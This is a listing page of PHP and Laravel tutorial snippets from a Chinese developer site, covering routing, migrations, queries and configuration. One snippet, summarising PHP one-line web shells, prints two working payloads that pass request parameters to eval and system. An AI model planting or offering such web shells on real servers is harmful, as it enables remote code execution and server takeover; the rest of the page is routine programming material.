经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
 PHP

解决在Laravel 中处理OPTIONS请求的问题

前面已经说过可以通过中间件来处理OPTIONS请求,近日寻得一个简单的办法。 在路由文件中定义一个路由,通过正则来匹配相应的路由。 Route::options(''/{all}'', function(Request $request) { $origin = $reque...[2019/10/12]

PHP与SQL语句写一句话木马总结

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_POST["cmd"])?> 二、编码的替换的类型: ...[2019/10/12]

Laravel获取当前请求的控制器和方法以及中间件的例子

laravel获取请求路由对应的控制器和方法很简单: 在任何地方都可以使用: dd(request()->route()->getAction()); 得到如下结果: array:6 [▼ "middleware" => array:2 [...[2019/10/12]

零基础php编程好学吗

零基础php编程好学吗

PHP编程语言对于新手而言,非常容易上手,不乏有很多人通过自学找到了高薪的工作。不管自学还是通过参加培训进行学习,PHP开发工程师是保持如何的晋级过程呢?如何考究自己学习过程中的实力水平? 阶段一:功能开发 最开始的功能开发并非能完整的开发某个功能,更多的是采用模仿,代码分析实现某项功能...[2019/10/12]

ThinkPHP 5.1 跨域配置方法

因为最近的项目采用了API接口开发方式,后端需要配置跨域的规则以便前端能够访问。 系统采用的框架为 ThinkPHP,版本 5.1.19 关于OPTIONS请求 由于前端的知识不是很熟悉,查阅了网上的资料得知,OPTIONS 请求是在 AJAX 发送请求前发送的一个验证请求,该请求会验...[2019/10/12]

解决PHP使用CURL发送GET请求时传递参数的问题

最近在使用curl发送get请求的时候发现传递参数一直没有生效,也没有返回值,以为是自己哪里写错了,网上找东西时也没有人专门来说get请求传递参数的内容,所以,今天在这里记录一下,希望可以帮到一些人 get请求是最简单的请求,不过要注意自己的请求是http请求还是https的请求,因为http...[2019/10/12]

laravel 获取当前url的别名方法

如下所示: Route::get(''/xiongtest'', [ ''as'' => ''xiong.test'', ''uses'' => ''XiongTestController@index'' ]); 以上路由为例 在模版中可以使用ro...[2019/10/12]

实现laravel 插入操作日志到数据库的方法

实现laravel 插入操作日志到数据库的方法

1 . 创建一个中间件 执行: php artisan make:middleware OperationLog 2 . 在中间件中编写一个writeLog() 或者直接写在handle里面 <?php namespace App\Http\Middlew...[2019/10/12]

laravel框架 api自定义全局异常处理方法

laravel框架 api自定义全局异常处理方法

api返回实现 $result = User::find($id); if(empty($result)){ throw new ApiException(''获取失败''); } else{ return json_decode($result); } a...[2019/10/12]

php生成动态验证码 加减算法验证码 简单验证码

预览效果: <?php /** *ImageCode 生成包含验证码的GIF图片的函数 *@param $string 字符串 *@param $width 宽度 *@param $height 高度 **/ function ImageCode($stri...[2019/10/11]

PHP给图片加上图片水印和文字水印实例

下面给大家分享一下PHP给图片加上图片水印和文字水印实例,这也是网站经常用到的功能,把代码加上去,调用就很简单了。 核心代码: 1 function imageWaterMark($groundImage, $waterPos = 0, $waterImage = ...[2019/10/11]

php

mac下php运行环境创建 原文链接:http: www.cnblogs.com/zhucezmf/p/11649110.html[2019/10/11]

Thinkphp5.0终章

thinkphp5.0最终总结 前期刚开始我是跟着b站上的千峰教育的视频走的,一路上做笔记进行深化与实际操作,中间因为不会开报错,并且视频里面也没有讲到怎么弄报错,因为是新手,那种出错了却不知道错在哪里是很难受的,于是我想着是不是我的工具不好,因为很多报错都是在集成的ide里面,于是我下...[2019/10/11]

PHP 源码学习 | 变量类型数据结构

       前段时间因为项目需要,研究了一下在 Windows 系统下进行 PHP 扩展的开发,对于 PHP 扩展的开发并不是一件容易的事情(话又说回来了,会者不难,难者不会,关键是自己不会)。我当时的需求,主要是通过 PHP 扩展来加载 DLL...[2019/10/11]

[视频教程] 包管理器方式安装使用openresty新手上路

OpenResty是一个通过Lua扩展Nginx实现的可伸缩的Web平台,内部集成了大量精良的Lua库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态Web应用、Web服务和动态网关。功能和nginx类似,就是由于支持lua动态脚本,所以更加灵活,可以实现...[2019/10/11]

laravel框架数据库配置及操作数据库示例

本文实例讲述了laravel框架数据库配置及操作数据库。分享给大家供大家参考,具体如下: laravel 数据库配置 数据库配置文件为项目根目录下的config/database.php 默认数据库为mysql ''default'' => env(''DB_CONN...[2019/10/11]

laravel框架模型、视图与控制器简单操作示例

本文实例讲述了laravel框架模型、视图与控制器简单操作。分享给大家供大家参考,具体如下: laravel 的模型 建立model文件,再项目的app目录下建立Member.php namespace App; use Illuminate\Database\Eloquen...[2019/10/11]

laravel Model 执行事务的实现

laravel Model 执行事务的实现

1.官方手册是这样介绍的: 想要在一个数据库事务中运行一连串操作,可以使用DB门面的transaction方法,如果事务闭包中抛出异常,事务将会自动回滚。如果闭包执行成功,事务将会自动提交。使用transaction方法时不需要担心手动回滚或提交: DB::transaction(...[2019/10/11]

在laravel中实现事务回滚的方法

之前做项目用到了事务回滚这个机制。我把代码贴出来多多交流给点意见,我用的是laravel 5.1bane版本的, public static function createDeal($to_status, $params, $new_balance, $update = true) ...[2019/10/11]

phpfpm的作用和用法

phpfpm的作用和用法

PHP-FPM(FastCGI Proce Manager:FastCGI进程管理器)是一个PHPFastCGI管理器,对于PHP 5.3.3之前的php来说,是一个补丁包 ,旨在将FastCGI进程管理整合进PHP包中。 如果你使用的是PHP5.3.3之前的PHP的话,就必须将它patch...[2019/10/11]

phpinfo的知识点总结

phpinfo是一个运行指令,为显示php服务器的配置信息。 phpinfo-输出大量PHP信息 bool phpinfo() 输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变...[2019/10/11]

php获取微信openid方法总结

使用微信接口,无论是自动登录还是微信支付我们首先需要获取的就是openid,获取openid的方式有两种,一种是在关注的时候进行获取,这种订阅号就可以获取的到,第二种是通过网页授权获取,这种获取需要的是认证服务号。 今天我要说的是第二种网页授权获取openid。下面是我写的一个关于获取op...[2019/10/11]

如何解决PHP获取不到SESSION信息之一般情况

一、检查 php.ini vim /etc/php.ini 检查这几项: se ion.save_handler = files se ion 的存储类型; se ion.auto_start = 1 是否自启动 se ion.save_pat...[2019/10/11]

Laravel 数据库加密及数据库表前缀配置方法

报错问题:DecryptException in Encrypter.php line 148: The MAC is invalid. 如何运行 php artisan key:generate 这个命令 需要安装Composer D: 回到D盘 ,cd 到laravel根目录 然后...[2019/10/11]

Laravel获取所有的数据库表及结构的方法

遇到一个需求,需要修改数据库中所有包含email的字段的表,要把里面的长度改为128位。Laravel获取所有的表,然后循环判断表里面有没有email这个字段。 代码如下: use Illuminate\Support\Facades\Schema; use DB; pub...[2019/10/11]

laravel 关联关系遍历数组的例子

1、控制器 public function show($id) { $goods = Goods::select(''goods.*'')->where(''goods.id'', ''='', $id)->get(); $data = []; ...[2019/10/11]

asp.net和php的区别点总结

asp.net和php哪个更好? 在.net之前,微软的是ASP。在微软的大力推广下,其看起来还是很有前途的。但现在,微软想推广asp.net,而ASP成了其障碍。所以从Windows Server 2003开始,微软对ASP做了许多限制,比如上传文件不能超过200KB等。 再看看现在,微...[2019/10/10]

Laravel 对某一列进行筛选然后求和sum()的例子

这个例子是对课程进度表里面的某个学生的剩余课时进行求和汇总。 laravel 版本是 lts 5.5 StudentLe onProgre ::where(''student_info_id'', $student_info_id) ->sum(''total_lef...[2019/10/10]

thinkphp框架使用JWTtoken的方法详解

本文实例讲述了thinkphp框架使用JWTtoken的方法。分享给大家供大家参考,具体如下: 简介 一:JWT介绍:全称JSON Web Token,基于JSON的开放标准((RFC 7519) ,以token的方式代替传统的Cookie-Se ion模式,用于各服务器、客户端传递信息签...[2019/10/10]

浅谈laravel中的关联查询with的问题

浅谈laravel中的关联查询with的问题

表结构 主表结构: Create Table CREATE TABLE `user` ( `uid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) COLLATE utf8mb4_...[2019/10/10]

laravel withCount 统计关联数量的方法

统计关联数量,单个用法 $posts = Post::withCount(''comments'')->orderBy(''id'',''desc'')->paginate(6); 多个用法 $posts = Post::withCount([''com...[2019/10/10]

Laravel Eloquent ORM 多条件查询的例子

Laravel Eloquent ORM 多条件查询的例子

一、需求: 在数据搜索时最常见的就是调用同一个方法查询,而查询的字段却可能是其中一个或其中的几个字段一起组合查询,例如:对列表的搜索,基本上都是几个字段随意组合搜索。那么在model里就需要判断有那个字段组合,怎么组合。 网上找了很久,Laravel群里也问了几个,都说没有写过,于是自己写...[2019/10/10]

laravel 输出最后执行sql 附:whereIn的使用方法

在sql语句执行前 DB::enableQueryLog(); sql sql sql sql sql dd(DB::getQueryLog()); DB::enableQueryLog(); $data = UsersMenu::select(''users_...[2019/10/10]

[视频教程] 灵活配置多版本PHP并存运行

经常有一些项目需要使用不同版本的PHP运行环境,比如有的老项目需要使用5.3版本,有的新项目比如laravel需要使用7.2以上版本,那么在一台机器上如何多版本PHP并存运行呢 有一种很灵活高效的方式,那就是FPM监听使用不同的端口号,nginx在反代到PHP的时候,不同的项目指定不...[2019/10/10]

PHP中类的继承与方法重写

php中类的继承与方法重写,欢迎大神补充指点! <?php namespace _1009; cla Demo5 { 实例属性 public $product; public $price; 构造方法 ...[2019/10/10]

composer入门

composer是什么 composer是PHP的插件依赖管理工具,我个人感觉和java的Maven、Gradle很类似。 Windows OS下安装composer 参考: https: www.php.cn/php-weizijiaocheng-400785.html https...[2019/10/10]

laravel实现查询最后执行的一条sql语句的方法

代码: DB::connection()->enableQueryLog(); $query = DB::table(''test'')->orderBy(''id'', ''desc'')->get(); 需要执行的SQL语句 echo ''<pre>...[2019/10/10]

Laravel find in set排序实例

做项目遇到个需求,需要对结果集中的数据进行指定规则的顺序排列。 例如,用户状态有四种: =>未激活;1=>正常;2=>禁用;3=>软删除 现在的需求是,我要按照:正常->未激活->禁用->删除;这个顺序来进行排序,同时按照注册时间降序,网上查了...[2019/10/10]

laravel多条件查询方法(and,or嵌套查询)

说明 在日常开发中,经常会需要写多条件的数据库查询语句。在使用框架的情况下,单纯使用原生sql查询会导致结果与model无法对应,也就没有办法使用框架的一些便利的方法对结果集进行处理。尤其是laravel提供了非常多的对查询结果集进行处理的工具。所以最好是使用laravel提供的ORM进行多条...[2019/10/10]

laravel按天、按小时,查询数据的实例

使用laravel做后台数据统计的时候,需要查询每天的注册量之类的数据 这时候如果直接用created_at分组,是不好用的。 1、所以本文解决这个查询应该怎么写。 2、并且推荐一个时间选择插件,因为统计中一定会用到,本周数据、本月、本季度、上个月。。。。 按天分组数据: ...[2019/10/10]

浅谈PHP5.6 与 PHP7.0 区别

浅谈PHP5.6 与 PHP7.0 区别

两者的区别 PHP7.0 比PHP5.6性能提升了两倍。 PHP7.0全面一致支持64位。 PHP7.0之前出现的致命错误,都改成了抛出异常。 增加了空结合操作符(??)。效果相当于三元运算符。 PHP7.0新增了函数的返回类型声明。 PHP7.0新增了标量...[2019/10/10]

解决laravel groupBy 对查询结果进行分组出现的问题

使用laravel groupBy方法时不知为什么一直出现语法错误,查了很多资料才找到原因: $data = Orders::select("orders.*","user.name","orderstatu.name as name") ->join("user...[2019/10/10]

Laravel 创建指定表 migrate的例子

Laravel 创建指定表 migrate的例子

网上找了很多资料,都很坑爹,说是要把之前的表都给删掉,然后重新运行,有的说要指定database的文件路径,都不管用。 php artisan migrate:reset php artisan migrate 这样的话我之前的数据不都是白搞的了?? 这样肯定不行的啊,我...[2019/10/9]

关于laravel 数据库迁移中integer类型是无法指定长度的问题

关于laravel 数据库迁移中integer类型是无法指定长度的问题

laravel数据库迁移中integer类型是无法指定长度的,很多小伙伴对integer类型传递第二个参数后会发现迁移报以下错误 Syntax error or acce violation: 1075 Incorrect table definition; there can be...[2019/10/9]

Laravel创建数据库表结构的例子

1、简介 迁移就像数据库的版本控制,允许团队简单轻松的编辑并共享应用的数据库表结构,迁移通常和Laravel的schema构建器结对从而可以很容易地构建应用的数据库表结构。如果你曾经告知小组成员需要手动添加列到本地数据库结构,那么这正是数据库迁移所致力于解决的问题。 Laravel 的S...[2019/10/9]

解决Laravel 不能创建 migration 的问题

在 Laravel 项目中,由于测试,有时候用 php artisan make:migration create_xxx_table 创建数据库迁移。如果把创建的迁移文件 database/migration 2016_09_13_081736_create_xxx_table.php 文件给删...[2019/10/9]

Laravel使用原生sql语句并调用的方法

Laravel使用原生sql语句并调用的方法

有一些sql语句比较复杂,用构造器还不如直接用sql来的方便,我们在laravel中使用原生语句,首先要在开头use DB,然后: $arr = DB::select("select id,sum(parents+1) as total_people from orders where...[2019/10/9]

PHP 数组函数大全

  PHP数组函数是核心的一部分。无需安装即可使用这些函数 函数名称描述 array_change_key_case 将数组中的所有键名修改为全大写或小写 array_chunk 将一个数组分割成多个 array_column ...[2019/10/9]

PHP代码审计基础-初级篇

PHP代码审计基础-初级篇

对于php代码审计我也是从0开始学的,对学习过程进行整理输出沉淀如有不足欢迎提出共勉。对学习能力有较高要求,整个系列主要是在工作中快速精通php代码审计,整个学习周期5天 ,建议花一天时间熟悉php语法。   我是直接phpstudy2019一键搭建小白首选 所谓工...[2019/10/9]

[视频教程] ubuntu系统下以守护进程方式安装使用Redis

直接访问redis的中国官网,在下载部分,可以看到安装和使用的方式。wget http: download.redis.io/release redis-5.0.4.tar.gztar xzf redis-5.0.4.tar.gzcd redis-5.0.4make. rc/redis-...[2019/10/9]

87
16
记录数:3099 页数:15/62首页上一页10111213141516171819下一页尾页
 友情链接:直通硅谷  点职佳  北美留学生论坛
加载更多